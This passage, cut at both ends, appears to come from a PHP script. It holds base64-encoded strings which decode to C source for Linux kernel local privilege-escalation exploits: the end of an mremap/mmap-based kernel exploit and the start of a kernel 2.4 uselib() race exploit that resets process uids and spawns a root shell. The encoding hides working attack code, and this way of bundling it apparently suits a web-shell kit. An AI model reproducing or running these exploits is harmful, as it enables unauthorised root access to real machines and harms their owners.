YmxhaCkgcGF1c2UoKTsNCgkJfQ0KCQlpZiAoIW4pIHsNCgkJCWJsYWggPSAwOyBraWxsKGhwaWQsIFNJR1VTUjEpOw0KCQkJd2hpbGUgKCFibGFoKSBwYXVzZSgpOw0KCQkJZHVwMigwLCBEVVBUTyk7DQoJCQlicmVhazsNCgkJfQ0KCX0NCg0KCXNpZ25hbChTSUdVU1IxLCAmcmVkaXJlY3RfZmlscCk7DQoJa2lsbChwaWQsIFNJR1VTUjEpOw0KfQ0KDQp2b2lkIGNsZWFudXBfdm1hcyh2b2lkKQ0Kew0KCWludCBpID0gTlVNVk1BOw0KDQoJd2hpbGUgKDEpIHsNCgkJdG1wID0gbW1hcCgodm9pZCAqKSAoUEFHRUFERFIgLSBQQUdFX1NJWkUpLCBQQUdFX1NJWkUsIFBST1RfUkVBRCwNCgkJCQlNQVBfRklYRUR8TUFQX0FOT05ZTU9VU3xNQVBfUFJJVkFURSwgMCwgMCk7DQoJCWlmICh0bXAgIT0gKHZvaWQgKikgKFBBR0VBRERSIC0gUEFHRV9TSVpFKSkgew0KCQkJcHJpbnRmKFwiXFxuWy1dIEVSUk9SIHVubWFwcGluZyAlZFwiLCBpKTsgZmZsdXNoKHN0ZG91dCk7DQoJCQlmYXRhbChcInVubWFwMVwiKTsNCgkJfQ0KCQlpLS07DQoJCWlmICghaSkNCgkJCWJyZWFrOw0KDQoJdG1wID0gbW1hcCgodm9pZCAqKSAoUEFHRUFERFIgLSBQQUdFX1NJWkUpLCBQQUdFX1NJWkUsIFBST1RfUkVBRHxQUk9UX1dSSVRFLA0KCQkJCU1BUF9GSVhFRHxNQVBfUFJJVkFURXxNQVBfQU5PTllNT1VTLCAwLCAwKTsNCglpZiAodG1wICE9ICh2b2lkICopIChQQUdFQUREUiAtIFBBR0VfU0laRSkpIHsNCgkJCXByaW50ZihcIlxcblstXSBFUlJPUiB1bm1hcHBpbmcgJWRcIiwgaSk7IGZmbHVzaChzdGRvdXQpOw0KCQkJZmF0YWwoXCJ1bm1hcDJcIik7DQoJCX0NCgkJaS0tOw0KCQlpZiAoIWkpDQoJCQlicmVhazsNCgl9DQp9DQoNCnZvaWQgY2F0Y2htZShpbnQgdikNCnsNCglibGFoKys7DQp9DQoNCnZvaWQgZXhpdG1lKGludCB2KQ0Kew0KCV9leGl0KDApOw0KfQ0KDQp2b2lkIGNoaWxkcmlwKGludCB2KQ0Kew0KCXdhaXRwaWQoLTEsIDAsIFdOT0hBTkcpOw0KfQ0KDQp2b2lkIHNsYWJfaGVscGVyKHZvaWQpDQp7DQoJc2lnbmFsKFNJR1VTUjEsICZjYXRjaG1lKTsNCglzaWduYWwoU0lHVVNSMiwgJmV4aXRtZSk7DQoJYmxhaCA9IDA7DQoNCgl3aGlsZSAoMSkgew0KCQl3aGlsZSAoIWJsYWgpIHBhdXNlKCk7DQoNCgkJYmxhaCA9IDA7DQoJCWlmICghZm9yaygpKSB7DQoJCQlkdXAyKDAsIERVUFRPKTsNCgkJCWtpbGwoZ2V0cHBpZCgpLCBTSUdVU1IxKTsNCgkJCXdoaWxlICgxKSBwYXVzZSgpOw0KCQl9IGVsc2Ugew0KCQkJd2hpbGUgKCFibGFoKSBwYXVzZSgpOw0KCQkJYmxhaCA9IDA7IGtpbGwocHBpZCwgU0lHVVNSMik7DQoJCX0NCgl9DQoJZXhpdCgwKTsNCn0NCg0KaW50IG1haW4odm9pZCkNCnsNCglpbnQgaSwgciwgdiwgY250Ow0KCXRpbWVfdCBzdGFydDsNCg0KCXNyYW5kKHRpbWUoTlVMTCkgKyBnZXRwaWQoKSk7DQoJcHBpZCA9IGdldHBpZCgpOw0KCXVpZCA9IGdldHVpZCgpOw0KCWdpZCA9IGdldGdpZCgpOw0KDQoJaHBpZCA9IGZvcmsoKTsNCglpZiAoIWhwaWQpDQoJCXNsYWJfaGVscGVyKCk7DQoNCglmb3BzID0gbW1hcCgwLCBQQUdFX1NJWkUsIFBST1RfRVhFQ3xQUk9UX1JFQUR8UFJPVF9XUklURSwNCgkJCU1BUF9QUklWQVRFfE1BUF9BTk9OWU1PVVMsIDAsIDApOw0KCWlmIChmb3BzID09IE1BUF9GQUlMRUQpDQoJCWZhdGFsKFwibW1hcCBmb3BzIFZNQVwiKTsNCglmb3IgKGkgPSAwOyBpIDwgUEFHRV9TSVpFIC8gc2l6ZW9mKCpmb3BzKTsgaSsrKQ0KCQlmb3BzW2ldID0gKHVuc2lnbmVkKSZrZXJuZWxfY29kZTsNCglmb3IgKGkgPSAwOyBpIDwgc2l6ZW9mKGZha2VfZmlsZSkgLyBzaXplb2YoKmZha2VfZmlsZSk7IGkrKykNCgkJZmFrZV9maWxlW2ldID0gKHVuc2lnbmVkKWZvcHM7DQoNCgl2bWFfcm8gPSBtbWFwKDAsIFBBR0VfU0laRSwgUFJPVF9SRUFELCBNQVBfUFJJVkFURXxNQVBfQU5PTllNT1VTLCAwLCAwKTsNCglpZiAodm1hX3JvID09IE1BUF9GQUlMRUQpDQoJCWZhdGFsKFwibW1hcDFcIik7DQoNCgl2bWFfcncgPSBtbWFwKDAsIFBBR0VfU0laRSwgUFJPVF9SRUFEfFBST1RfV1JJVEUsIE1BUF9QUklWQVRFfE1BUF9BTk9OWU1PVVMsIDAsIDApOw0KCWlmICh2bWFfcncgPT0gTUFQX0ZBSUxFRCkNCgkJZmF0YWwoXCJtbWFwMlwiKTsNCg0KCWNudCA9IE5VTVZNQTsNCgl3aGlsZSAoMSkgew0KCQlyID0gc3lzX21yZW1hcCgodWxvbmcpdm1hX3JvLCAwLCAwLCBNUkVNQVBfRklYRUR8TVJFTUFQX01BWU1PVkUsIFBBR0VBRERSKTsNCgkJaWYgKHIgPT0gKC0xKSkgew0KCQkJcHJpbnRmKFwiXFxuWy1dIEVSUk9SIHJlbWFwcGluZ1wiKTsgZmZsdXNoKHN0ZG91dCk7DQoJCQlmYXRhbChcInJlbWFwMVwiKTsNCgkJfQ0KCQljbnQtLTsNCgkJaWYgKCFjbnQpIGJyZWFrOw0KDQoJCXIgPSBzeXNfbXJlbWFwKCh1bG9uZyl2bWFfcncsIDAsIDAsIE1SRU1BUF9GSVhFRHxNUkVNQVBfTUFZTU9WRSwgUEFHRUFERFIpOw0KCQlpZiAociA9PSAoLTEpKSB7DQoJCQlwcmludGYoXCJcXG5bLV0gRVJST1IgcmVtYXBwaW5nXCIpOyBmZmx1c2goc3Rkb3V0KTsNCgkJCWZhdGFsKFwicmVtYXAyXCIpOw0KCQl9DQoJCWNudC0tOw0KCQlpZiAoIWNudCkgYnJlYWs7DQoJfQ0KDQoJdmljdGltID0gbW1hcCgodm9pZCopUEFHRUFERFIsIFBBR0VfU0laRSwgUFJPVF9FWEVDfFBST1RfUkVBRHxQUk9UX1dSSVRFLA0KCQkJTUFQX0ZJWEVEfE1BUF9QUklWQVRFfE1BUF9BTk9OWU1PVVMsIDAsIDApOw0KCWlmICh2aWN0aW0gIT0gKHZvaWQgKikgUEFHRUFERFIpDQoJCWZhdGFsKFwibW1hcCB2aWN0aW0gVk1BXCIpOw0KDQoJdiA9ICp2aWN0aW07DQoJKnZpY3RpbSA9IHYgKyAxOw0KDQoJc2lnbmFsKFNJR1VTUjEsICZ1bnByb3RlY3QpOw0KCXNpZ25hbChTSUdVU1IyLCAmY2F0Y2htZSk7DQoJc2lnbmFsKFNJR0NITEQsICZjaGlsZHJpcCk7DQoJcHJpbnRmKFwiXFxuWytdIFBsZWFzZSB3YWl0Li4uSEVBVlkgU1lTVEVNIExPQUQhXFxuXCIpOyBmZmx1c2goc3Rkb3V0KTsNCglzdGFydCA9IHRpbWUoTlVMTCk7DQoNCgljbnQgPSBOVU1GT1JLOw0KCXYgPSAwOw0KCXdoaWxlICgxKSB7DQoJCWNudC0tOw0KCQl2LS07DQoJCWR1bW15ICs9ICp2aWN0aW07DQoNCgkJaWYgKGNudCA+IDEpIHsNCgkJCV9fYXNtX18oDQoJCQlcInB1c2hhCQkJCVxcblwiDQoJCQlcIm1vdmwgJTEsICUlZWF4CQkJXFxuXCINCgkJCVwibW92bCAkKFwieHN0cihDTE9ORUZMKVwiKSwgJSVlYngJXFxuXCINCgkJCVwibW92bCAlJWVzcCwgJSVlY3gJCVxcblwiDQoJCQlcIm1vdmwgJDEyMCwgJSVlYXgJCVxcblwiDQoJCQlcImludCAgJDB4ODAJCQlcXG5cIg0KCQkJXCJtb3ZsICUlZWF4LCAlMAkJCVxcblwiDQoJCQlcInBvcGEJCQkJXFxuXCINCgkJCTogOiBcIm1cIiAocGlkKSwgXCJtXCIgKGR1bW15KQ0KCQkJKTsNCgkJfSBlbHNlIHsNCgkJCXBpZCA9IGZvcmsoKTsNCgkJfQ0KDQoJCWlmIChwaWQpIHsNCgkJCWlmICh2IDw9IDAgJiYgY250ID4gMCkgew0KCQkJCWZsb2F0IGV0YSwgdG07DQoJCQkJdiA9IHJhbmQoKSAlIFJORElOVCAvIDIgKyBSTkRJTlQgLyAyOw0KCQkJCXRtID0gZXRhID0gKGZsb2F0KSh0aW1lKE5VTEwpIC0gc3RhcnQpOw0KCQkJCWV0YSAqPSAoZmxvYXQpTlVNRk9SSzsNCgkJCQlldGEgLz0gKGZsb2F0KShOVU1GT1JLIC0gY250KTsNCgkJCQlwcmludGYoXCJcXHJcXHQldSBvZiAldSBbICV1ICUlICBFVEEgJTYuMWYgcyBdICAgICAgICAgIFwiLA0KCQkJCU5VTUZPUksgLSBjbnQsIE5VTUZPUkssICgxMDAgKiAoTlVNRk9SSyAtIGNudCkpIC8gTlVNRk9SSywgZXRhIC0gdG0pOw0KCQkJCWZmbHVzaChzdGRvdXQpOw0KCQkJfQ0KCQkJaWYgKGNudCkgew0KCQkJCXdhaXRwaWQocGlkLCAwLCAwKTsNCgkJCQljb250aW51ZTsNCgkJCX0NCgkJCWlmICghY250KSB7DQoJCQkJd2hpbGUgKDEpIHsNCgkJCQkJIHIgPSB3YWl0KE5VTEwpOw0KCQkJCQkgaWYgKHIgPT0gcGlkKSB7DQoJCQkJCWNsZWFudXBfdm1hcygpOw0KCQkJCQl3aGlsZSAoMSkgeyBraWxsKDAsIFNJR1VTUjIpOyBraWxsKDAsIFNJR1NUT1ApOyBwYXVzZSgpOyB9DQoJCQkJCSB9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoNCgkJZWxzZSB7DQoJCQljbGVhbnVwX3ZtYXMoKTsNCg0KCQkJaWYgKGNudCA+IDApIHsNCgkJCQlfZXhpdCgwKTsNCgkJCX0NCg0KCQlwcmludGYoXCJcXG5bK10gb3ZlcmZsb3cgZG9uZSwgdGhlIG1vbWVudCBvZiB0cnV0aC4uLlwiKTsgZmZsdXNoKHN0ZG91dCk7DQoJCQlzbGVlcCgxKTsNCg0KCQkJc2lnbmFsKFNJR1VTUjEsICZjYXRjaG1lKTsNCgkJCW11bm1hcCgwLCBQQUdFX1NJWkUpOw0KCQkJZHVwMigwLCAyKTsNCgkJCWJsYWggPSAwOyBraWxsKHBwaWQsIFNJR1VTUjEpOw0KCQkJd2hpbGUgKCFibGFoKSBwYXVzZSgpOw0KDQoJCQltdW5tYXAoKHZvaWQgKil2aWN0aW0sIFBBR0VfU0laRSk7DQoJCQlkdXAyKDAsIERVUFRPKTsNCg0KCQkJYmxhaCA9IDA7IGtpbGwocHBpZCwgU0lHVVNSMSk7DQoJCQl3aGlsZSAoIWJsYWgpIHBhdXNlKCk7DQoJCQl0cnlfdG9fZXhwbG9pdCgpOw0KCQkJd2hpbGUgKDEpIHBhdXNlKCk7DQoJCX0NCgl9DQoJcmV0dXJuIDA7DQp9DQo=");
$two_four[1] = base64_decode("LyoNCiAqIExpbnV4IGtlcm5lbCAyLjQgdXNlbGliKCkgcHJpdmlsZWdlIGVsZXZhdGlvbiBleHBsb2l0Lg0KICoNCiAqIG9yaWdpbmFsIGV4cGxvaXQgc291cmNlIGZyb20gaHR0cDovL2lzZWMucGwNCiAqIHJlZmVyZW5jZTogaHR0cDovL2lzZWMucGwvdnVsbmVyYWJpbGl0aWVzL2lzZWMtMDAyMS11c2VsaWIudHh0DQogKg0KICogSSBtb2RpZmllZCB0aGUgUGF1bCBTdGFyemV0elxcXCdzIGV4cGxvaXQsIG1hZGUgaXQgbW9yZSBwb3NzaWJsZQ0KICogdG8gcmFjZSBzdWNjZXNzZnVsbHkuIFRoZSBleHBsb2l0IHN0aWxsIHdvcmtzIG9ubHkgb24gMi40IHNlcmllcy4gIA0KICogSXQgc2hvdWxkIGJlIGFsc28gd29ya3Mgb24gMi40IFNNUCwgYnV0IG5vdCBlYXN5LiANCiAqDQogKiB0aHggbmV3YnVnLg0KICoNCiAqIFRpbSBIc3UgPHRpbWhzdSBhdCBjaHJvb3Qub3JnPiBKYW4gMjAwNS4NCiAqDQogKi8NCiANCiNkZWZpbmUgX0dOVV9TT1VSQ0UNCg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8ZmNudGwuaD4NCiNpbmNsdWRlIDx1bmlzdGQuaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KI2luY2x1ZGUgPHNjaGVkLmg+DQojaW5jbHVkZSA8c3lzY2FsbC5oPg0KI2luY2x1ZGUgPGxpbWl0cy5oPg0KDQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3dhaXQuaD4NCiNpbmNsdWRlIDxzeXMvdGltZS5oPg0KI2luY2x1ZGUgPHN5cy9tbWFuLmg+DQojaW5jbHVkZSA8c3lzL3N5c2luZm8uaD4NCg0KI2luY2x1ZGUgPGxpbnV4L2VsZi5oPg0KI2luY2x1ZGUgPGxpbnV4L2xpbmthZ2UuaD4NCg0KI2luY2x1ZGUgPGFzbS9wYWdlLmg+DQojaW5jbHVkZSA8YXNtL2xkdC5oPg0KI2luY2x1ZGUgPGFzbS9zZWdtZW50Lmg+DQoNCiNkZWZpbmUgc3RyKHMpICNzDQojZGVmaW5lIHhzdHIocykgc3RyKHMpDQoNCiNkZWZpbmUgTVJFTUFQX01BWU1PVkUgIDENCg0KDQovLwl0ZW1wIGxpYiBsb2NhdGlvbg0KI2RlZmluZSBMSUJOQU1FIAlcXFwiL3RtcC9fZWxmX2xpYlxcXCINCg0KLy8Jc2hlbGwgbmFtZQ0KI2RlZmluZQlTSEVMTAkJXFxcIi9iaW4vYmFzaFxcXCINCg0KLy8JdGltZSBkZWx0YSB0byBkZXRlY3QgcmFjZQ0KI2RlZmluZSBSQUNFREVMVEEJNTAwMA0KDQovLwlpZiB5b3UgaGF2ZSBtb3JlIGRlYWRiYWJlcyBpbiBtZW1vcnksIGNoYW5nZSB0aGlzDQojZGVmaW5lIE1BR0lDCQkweGRlYWRiYWJlDQoNCg0KLy8JZG8gbm90IHRvdWNoDQojZGVmaW5lCVNMQUJfVEhSU0gJMTI4DQojZGVmaW5lCVNMQUJfUEVSX0NITEQJKElOVF9NQVggLSAxKQ0KI2RlZmluZSBMSUJfU0laRQkoIFBBR0VfU0laRSAqIDQgKQ0KI2RlZmluZSBTVEFDS19TSVpFCSggUEFHRV9TSVpFICogNCApDQoNCiNkZWZpbmUgTERUX1BBR0VTCSggKExEVF9FTlRSSUVTKkxEVF9FTlRSWV9TSVpFK1BBR0VfU0laRS0xKS9QQUdFX1NJWkUgKQ0KDQojZGVmaW5lIEVOVFJZX0dBVEUJKCBMRFRfRU5UUklFUy0xICkNCiNkZWZpbmUgU0VMX0dBVEUJKCAoRU5UUllfR0FURTw8Myl8MHgwNyApDQoNCiNkZWZpbmUgRU5UUllfTENTCSggRU5UUllfR0FURS0yICkNCiNkZWZpbmUgU0VMX0xDUwkJKCAoRU5UUllfTENTPDwzKXwweDA0ICkNCg0KI2RlZmluZSBFTlRSWV9MRFMJKCBFTlRSWV9HQVRFLTEgKQ0KI2RlZmluZSBTRUxfTERTCQkoIChFTlRSWV9MRFM8PDMpfDB4MDQgKQ0KDQojZGVmaW5lIGtCCQkqIDEwMjQNCiNkZWZpbmUgTUIJCSogMTAyNCBrQg0KI2RlZmluZSBHQgkJKiAxMDI0IE1CDQoNCiNkZWZpbmUgVE1QTEVOCQkyNTYNCiNkZWZpbmUgUEdEX1NJWkUJKCBQQUdFX1NJWkUqMTAyNCApDQoNCg0KZXh0ZXJuIGNoYXIgKiplbnZpcm9uOw0KDQpzdGF0aWMgY2hhciBjc3RhY2tbU1RBQ0tfU0laRV07DQpzdGF0aWMgY2hhciBuYW1lW1RNUExFTl07DQpzdGF0aWMgY2hhciBsaW5lW1RNUExFTl07DQoNCnN0YXRpYyBwaWRfdCBjb25zdW1lX3BpZDsNCg0Kc3RhdGljIHZvbGF0aWxlIGludA0KCXZhbCA9IDAsDQoJZ28gPSAwLA0KCWZpbmlzaCA9IDAsDQoJc2NudCA9IDAsDQoJY2NudD0wLA0KCWRlbHRhID0gMCwNCglkZWx0YV9tYXggPSBSQUNFREVMVEEsDQoJbWFwX2ZsYWdzID0gUFJPVF9XUklURXxQUk9UX1JFQUQ7DQoNCg0Kc3RhdGljIGludA0KCWZzdG9wPTAsDQoJc2lsZW50PTAsDQoJcGlkeCwNCglwbnVtPTAsDQoJc21wX21heD0wLA0KCXNtcCwNCgl3dGltZT0yLA0KCWNwaWQsDQoJdWlkLA0KCXRhc2tfc2l6ZSwNCglvbGRfZXNwLA0KCWxpYl9hZGRyLA0KCW1hcF9jb3VudD0wLA0KCW1hcF9iYXNlPTAsDQoJbWFwX2FkZHIsDQoJYWRkcl9taW4sDQoJYWRkcl9tYXgsDQoJdm1hX3N0YXJ0LA0KCXZtYV9lbmQsDQoJbWF4X3BhZ2U7DQoNCg0Kc3RhdGljIHN0cnVjdCB0aW1ldmFsIHRtMSwgdG0yOw0KDQpzdGF0aWMgY2hhciAqbXllbnZbXSA9IHtcXFwiVEVSTT12dDEwMFxcXCIsDQoJCQlcXFwiSElTVEZJTEU9L2Rldi9udWxsXFxcIiwNCgkJCU5VTEx9Ow0KDQpzdGF0aWMgY2hhciBoZWxsYzBkZVtdID0gXFxcIlxcXFx4NDlcXFxceDZlXFxcXHg3NFxcXFx4NjVcXFxceDZjXFxcXHg2NVxcXFx4NjNcXFxceDc0XFxcXHg3NVxcXFx4NjFcXFxceDZjXFxcXHgyMFxcXFx4NzBcXFxceDcyXFxcXHg2ZlxcXFx4NzBcXFwiDQogICAgICAgICAgICAgICAgICAgICAgICAgXFxcIlxcXFx4NjVcXFxceDcyXFxcXHg3NFxcXFx4NzlcXFxceDIwXFxcXHg2ZlxcXFx4NjZcXFxceDIwXFxcXHg0OVxcXFx4NjhcXFxceDYxXFxcXHg1MVxcXFx4NzVcXFxceDY1XFxcXHg1MlxcXFx4MDBcXFwiOw0KDQoNCnN0YXRpYyBjaGFyICpwYWdlbWFwLCAqbGlibmFtZT1MSUJOQU1FLCAqc2hlbGxuYW1lPVNIRUxMOw0KDQoNCg0KI2RlZmluZSBfX05SX3N5c19nZXR0aW1lb2ZkYXkJX19OUl9nZXR0aW1lb2ZkYXkNCiNkZWZpbmUgX19OUl9zeXNfc2NoZWRfeWllbGQJX19OUl9zY2hlZF95aWVsZA0KI2RlZmluZSBfX05SX3N5c19tYWR2aXNlCV9fTlJfbWFkdmlzZQ0KI2RlZmluZSBfX05SX3N5c191c2VsaWIJCV9fTlJfdXNlbGliDQojZGVmaW5lIF9fTlJfc3lzX21tYXAyCQlfX05SX21tYXAyDQojZGVmaW5lIF9fTlJfc3lzX211bm1hcAkJX19OUl9tdW5tYXANCiNkZWZpbmUgX19OUl9zeXNfbXByb3RlY3QJX19OUl9tcHJvdGVjdA0KI2RlZmluZSBfX05SX3N5c19tcmVtYXAJCV9fTlJfbXJlbWFwDQoNCmlubGluZSBfc3lzY2FsbDYoaW50LCBzeXNfbW1hcDIsIGludCwgYSwgaW50LCBiLCBpbnQsIGMsIGludCwgZCwgaW50LCBlLCBpbnQsIGYpOw0KDQppbmxpbmUgX3N5c2NhbGw1KGludCwgc3lzX21yZW1hcCwgaW50LCBhLCBpbnQsIGIsIGludCwgYywgaW50LCBkLCBpbnQsIGUpOw0KDQppbmxpbmUgX3N5c2NhbGwzKGludCwgc3lzX21hZHZpc2UsIHZvaWQqLCBhLCBpbnQsIGIsIGludCwgYyk7DQppbmxpbmUgX3N5c2NhbGwzKGludCwgc3lzX21wcm90ZWN0LCBpbnQsIGEsIGludCwgYiwgaW50LCBjKTsNCmlubGluZSBfc3lzY2FsbDMoIGludCwgbW9kaWZ5X2xkdCwgaW50LCBmdW5jLCB2b2lkICosIHB0ciwgaW50LCBieXRlY291bnQgKTsNCg0KaW5saW5lIF9zeXNjYWxsMihpbnQsIHN5c19nZXR0aW1lb2ZkYXksIHZvaWQqLCBhLCB2b2lkKiwgYik7DQppbmxpbmUgX3N5c2NhbGwyKGludCwgc3lzX211bm1hcCwgaW50LCBhLCBpbnQsIGIpOw0KDQppbmxpbmUgX3N5c2NhbGwxKGludCwgc3lzX3VzZWxpYiwgY2hhciosIGwpOw0KDQppbmxpbmUgX3N5c2NhbGwwKHZvaWQsIHN5c19zY2hlZF95aWVsZCk7DQoNCiANCmludCBjb25zdW1lX21lbW9yeSgpDQp7DQoJc3RydWN0IHN5c2luZm8gaW5mbzsNCgljaGFyICp2bWVtOw0KCQ0KCXN5c2luZm8oJmluZm8pOw0KCXZtZW0gPSBtYWxsb2MoaW5mby5mcmVlcmFtKTsNCglpZiAodm1lbSA9PSBOVUxMKQ0KCXsNCgkJcGVycm9yKFxcXCJtYWxsb2NcXFwiKTsNCgkJcmV0dXJuIC0xOw0KCX0NCgltZW1zZXQodm1lbSwgMHg5MCwgaW5mby5mcmVlcmFtKTsNCg0KfQ0KDQoNCmlubGluZSBpbnQgdG1kaWZmKHN0cnVjdCB0aW1ldmFsICp0MSwgc3RydWN0IHRpbWV2YWwgKnQyKQ0Kew0KaW50IHI7DQoNCglyPXQyLT50dl9zZWMgLSB0MS0+dHZfc2VjOw0KCXIqPTEwMDAwMDA7DQoJcis9dDItPnR2X3VzZWMgLSB0MS0+dHZfdXNlYzsNCnJldHVybiByOw0KfQ0KDQoNCnZvaWQgZmF0YWwoY29uc3QgY2hhciAqbWVzc2FnZSwgaW50IGNyaXRpY2FsKQ0Kew0KaW50IHNpZyA9IGNyaXRpY2FsPyBTSUdTVE9QIDogKGZzdG9wPyBTSUdTVE9QIDogU0lHS0lMTCk7DQoNCglpZighZXJybm8pIHsNCgkJZnByaW50ZihzdGRvdXQsIFxcXCJcXFxcblstXSBGQUlMRUQ6ICVzIFxcXCIsIG1lc3NhZ2UpOw0KCX0gZWxzZSB7DQoJCWZwcmludGYoc3Rkb3V0LCBcXFwiXFxcXG5bLV0gRkFJTEVEOiAlcyAoJXMpIFxcXCIsIG1lc3NhZ2UsDQoJCQkoY2hhciopIChzdHJlcnJvcihlcnJubykpICk7DQoJfQ0KCWlmKGNyaXRpY2FsKQ0KCQlwcmludGYoXFxcIlxcXFxuQ1JJVElDQUwsIGVudGVyaW5nIGVuZGxlc3MgbG9vcFxcXCIpOw0KCXByaW50ZihcXFwiXFxcXG5cXFwiKTsNCglmZmx1c2goc3Rkb3V0KTsNCg0KCXVubGluayhsaWJuYW1lKTsNCglraWxsKGNwaWQsIFNJR0tJTEwpOw0KCWZvcig7Oykga2lsbCgwLCBzaWcpOw0KfQ0KDQoNCi8vCXRyeSB0byByYWNlIGRvX2JyayBzbGVlcGluZyBvbiBrbWFsbG9jLCBtYXkgbmVlZCBtb2RpZmljYXRpb24gZm9yIFNNUA0KaW50IHJhY2VtZSh2b2lkKiB2KQ0Kew0KCWZpbmlzaD0xOw0KDQoJZm9yKDs7KSB7DQoJCWVycm5vID0gMDsNCg0KLy8JY2hlY2sgaWYgcmFjZWQ6DQpyZWNoZWNrOg0KCQlpZighZ28pIHN5c19zY2hlZF95aWVsZCgpOw0KCQlzeXNfZ2V0dGltZW9mZGF5KCZ0bTIsIE5VTEwpOw0KCQlkZWx0YSA9IHRtZGlmZigmdG0xLCAmdG0yKTsNCgkJaWYoIXNtcF9tYXggJiYgZGVsdGEgPCAodW5zaWduZWQpZGVsdGFfbWF4KSBnb3RvIHJlY2hlY2s7DQoJCXNtcCA9IHNtcF9tYXg7DQoNCi8vCWNoZWNrIGlmIGxpYiBWTUFzIGV4aXN0IGFzIGV4cGVjdGVkIHVuZGVyIHJhY2UgY29uZGl0aW9uDQpyZWNoZWNrMjoNCgkJdmFsID0gc3lzX21hZHZpc2UoKHZvaWQqKSBsaWJfYWRkciwgUEFHRV9TSVpFLCBNQURWX05PUk1BTCk7DQoJCWlmKHZhbCkgY29udGludWU7DQoJCWVycm5vID0gMDsNCgkJdmFsID0gc3lzX21hZHZpc2UoKHZvaWQqKSAobGliX2FkZHIrUEFHRV9TSVpFKSwNCgkJCQlMSUJfU0laRS1QQUdFX1NJWkUsIE1BRFZfTk9STUFMKTsNCgkJaWYoICF2YWwgfHwgKHZhbDwwICYmIGVycm5vIT1FTk9NRU0pICkgY29udGludWU7DQoNCi8vCVNNUD8NCgkJc21wLS07DQoJCWlmKHNtcD49MCkgZ290byByZWNoZWNrMjsNCg0KLy8JcmVjaGVjayByYWNlDQoJCWlmKCFnbykgY29udGludWU7DQoJCWZpbmlzaCsrOw0KDQovLwl3ZSBuZWVkIHRvIGZyZWUgb25lIHZtX2FyZWFfc3RydWN0IGZvciBtbWFwIHRvIHdvcmsNCgkJdmFsID0gc3lzX21wcm90ZWN0KG1hcF9hZGRyLCBQQUdFX1NJWkUsIG1hcF9mbGFncyk7DQoJCWlmKHZhbCkgZmF0YWwoXFxcIm1wcm90ZWN0XFxcIiwgMCk7DQoJCXZhbCA9IHN5c19tbWFwMihsaWJfYWRkciArIFBBR0VfU0laRSwgUEFHRV9TSVpFKjMsIFBST1RfTk9ORSwNCgkJCSAgICAgIE1BUF9QUklWQVRFfE1BUF9BTk9OWU1PVVN8TUFQX0ZJWEVELCAwLCAwKTsNCgkJaWYoLTE9PXZhbCkgZmF0YWwoXFxcIm1tYXAyIHJhY2VcXFwiLCAwKTsNCgkJcHJpbnRmKFxcXCJcXFxcblsrXSByYWNlIHdvbiBtYXBzPSVkXFxcIiwgbWFwX2NvdW50KTsgZmZsdXNoKHN0ZG91dCk7DQoJCWtpbGwoY29uc3VtZV9waWQsIFNJR0tJTEwpOw0KCQlfZXhpdCgwKTsNCgl9DQoNCnJldHVybiAwOw0KfQ0KDQoNCmludCBjYWxsbWVfMSgpDQp7DQoJcmV0dXJuIHZhbCsrOw0KfQ0KDQoNCmlubGluZSBpbnQgdmFsaWRfcHRyKHVuc2lnbmVkIHB0cikNCnsNCglyZXR1cm4gcHRyPj10YXNrX3NpemUgJiYgcHRyPGFkZHJfbWluLTE2Ow0KfQ0KDQoNCmlubGluZSBpbnQgdmFsaWRhdGVfdm1hKHVuc2lnbmVkICpwLCB1bnNpZ25lZCBzLCB1bnNpZ25lZCBlKQ0Kew0KdW5zaWduZWQgKnQ7DQoNCglpZih2YWxpZF9wdHIocFswXSkgJiYgdmFsaWRfcHRyKHBbM10pICYmIHBbMV09PXMgJiYgcFsyXT09ZSkgew0KCQl0PSh1bnNpZ25lZCopcFszXTsNCgkJaWYoIHRbMF09PXBbMF0gJiYgdFsxXTw9dGFza19zaXplICYmIHRbMl08PXRhc2tfc2l6ZSApDQoJCQlyZXR1cm4gMTsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCg0KYXNtbGlua2FnZSB2b2lkIGtlcm5lbF9jb2RlKHVuc2lnbmVkICp0YXNrKQ0Kew0KdW5zaWduZWQgKmFkZHIgPSB0YXNrOw0KDQovLwlmaW5kICYgcmVzZXQgdWlkcw0KCXdoaWxlKGFkZHJbMF0gIT0gdWlkIHx8IGFkZHJbMV0gIT0gdWlkIHx8DQoJICAgICAgYWRkclsyXSAhPSB1aWQgfHwgYWRkclszXSAhPSB1aWQpDQoJCWFkZHIrKzsNCg0KCWFkZHJbMF0gPSBhZGRyWzFdID0gYWRkclsyXSA9IGFkZHJbM10gPSAwOw0KCWFkZHJbNF0gPSBhZGRyWzVdID0gYWRkcls2XSA9IGFkZHJbN10gPSAwOw0KDQovLwlmaW5kICYgY29ycmVjdCBWTUENCglmb3IoYWRkcj0odW5zaWduZWQgKil0YXNrX3NpemU7ICh1bnNpZ25lZClhZGRyPGFkZHJfbWluLTE2OyBhZGRyKyspIHsNCgkJaWYoIHZhbGlkYXRlX3ZtYShhZGRyLCB2bWFfc3RhcnQsIHZtYV9lbmQpICkgew0KCQkJYWRkclsxXSA9IHRhc2tfc2l6ZSAtIFBBR0VfU0laRTsNCgkJCWFkZHJbMl0gPSB0YXNrX3NpemU7DQoJCQlicmVhazsNCgkJfQ0KCX0NCn0NCg0KDQp2b2lkIGtjb2RlKHZvaWQpOw0KDQovLwlDUEwwIGNvZGUgbW9zdGx5IHN0b2xlbiBmcm9tIGNsaXBoDQp2b2lkIF9fa2NvZGUodm9pZCkNCnsNCmFzbSgNCglcXFwia2NvZGU6CQkJCQkJXFxcXG5cXFwiDQoJXFxcIglwdXNoYQkJCQkJXFxcXG5cXFwiDQoJXFxcIglwdXNobAklZXMJCQkJXFxcXG5cXFwiDQoJXFxcIglwdXNobAklZHMJCQkJXFxcXG5cXFwiDQoJXFxcIgltb3ZsCSQoXFxcIiB4c3RyKFNFTF9MRFMpIFxcXCIpICwlZWR4CVxcXFxuXFxcIg0KCVxcXCIJbW92bAklZWR4LCVlcwkJCVxcXFxuXFxcIg0KCVxcXCIJbW92bAklZWR4LCVkcwkJCVxcXFxuXFxcIg0KCVxcXCIJbW92bAkkMHhmZmZmZTAwMCwlZWF4CQlcXFxcblxcXCINCglcXF